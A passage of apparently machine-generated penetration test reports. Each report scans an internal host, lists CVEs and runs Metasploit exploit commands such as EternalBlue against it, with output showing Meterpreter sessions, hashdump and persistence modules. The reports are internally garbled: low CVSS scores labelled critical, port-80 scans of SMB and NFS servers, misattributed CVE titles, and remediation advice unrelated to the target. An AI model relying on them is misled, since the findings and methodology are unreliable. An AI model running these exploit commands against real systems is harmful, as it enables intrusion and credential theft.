53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 21 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.166.149 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.166.149 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.166.149; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.166.149:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.166.149 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0066 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the SMB file server (192.168.163.19) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.163.19 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.163.19 Host is up (0.34s latency). MAC Address: 50:CB:29:70:D8:53 (Cisco) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 2 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.163.19 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.163.19 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.163.19 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.163.19; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (680 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained system access [*] Connected to 192.168.163.19 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0067 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the NFS server (10.138.107.70) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 10.138.107.70 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.138.107.70 Host is up (0.21s latency). MAC Address: 38:0D:AF:54:94:1D (Huawei) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.138.107.70 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.138.107.70 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.138.107.70 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.138.107.70; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (241 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained user access [*] Connected to 10.138.107.70 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0068 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the MySQL database server (10.233.83.230) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p3306,33060 10.233.83.230 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.233.83.230 Host is up (0.49s latency). MAC Address: 2E:8C:67:EB:84:62 (Samsung) 3306/tcp open mysql MySQL 8.0.21 33060/tcp open mysql MySQL 8.0.21 OS details: Linux 5.4.0-72-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 2 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-3719 (MySQL Optimizer Buffer Overflow) CVE: CVE-2021-3719 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.233.83.230 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-21595 (Pluggable Authentication Bypass) CVE: CVE-2022-21595 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.233.83.230 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2023-21912 (Privilege Escalation via Information Schema) CVE: CVE-2023-21912 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.233.83.230 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/mysql/mysql_udf_payload; set RHOSTS 10.233.83.230; set RPORT 3306; exploit" Output: [*] Started reverse TCP handler on port 3306 [*] Attempting to exploit using linux/mysql/mysql_udf_payload... [-] Exploit failed: Connection reset by peer [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-3719 (CVE-2021-3719) - CVE-2023-21912 (CVE-2023-21912) - CVE-2022-21595 (CVE-2022-21595) - Network-level blocking or intrusion prevention system detected the attack [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0069 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Apache web server (10.76.112.55) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 10.76.112.55 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.76.112.55 Host is up (0.29s latency). MAC Address: BE:F9:A4:DC:B9:0C (Samsung) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 8080/tcp open http Apache/2.4.41 8443/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 18 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.76.112.55 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.76.112.55 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.76.112.55; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/apache_mod_cgi_bash_env_exec... [-] Exploit failed: Payload failed to execute [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) - Memory protections (ASLR/DEP) or application sandboxing prevented payload execution [*] Recommended next steps: - Try manual Shellshock exploitation with curl - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0070 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the Kubernetes API server (10.159.136.190) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 10.159.136.190 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.159.136.190 Host is up (0.14s latency). MAC Address: D6:19:65:D0:15:FF (Google) 6443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10250/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10255/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 2 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.159.136.190 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.159.136.190 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.159.136.190 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 10.159.136.190; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2020-8554 (CVE-2020-8554) - CVE-2021-25741 (CVE-2021-25741) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (391 bytes) [*] Meterpreter session 6 opened [*] Session established [*] Gained root access [*] Connected to 10.159.136.190 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0071 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Nginx web server (10.171.80.30) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 10.171.80.30 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.171.80.30 Host is up (0.58s latency). MAC Address: 44:B1:12:FF:8F:81 (VMware) 80/tcp open http nginx/1.18.0 443/tcp open http nginx/1.18.0 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 1 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 11 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.171.80.30 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.171.80.30 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.171.80.30 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.171.80.30; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0072 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the NFS server (10.94.254.53) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 10.94.254.53 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.94.254.53 Host is up (0.25s latency). MAC Address: 7A:67:F8:23:2C:0B (Amazon) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 23 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.94.254.53 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.94.254.53 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.94.254.53 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.94.254.53; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Target is patched [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) - Vulnerability has been mitigated by security updates [*] Recommended next steps: - Verify payload compatibility (staged vs stageless) - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are 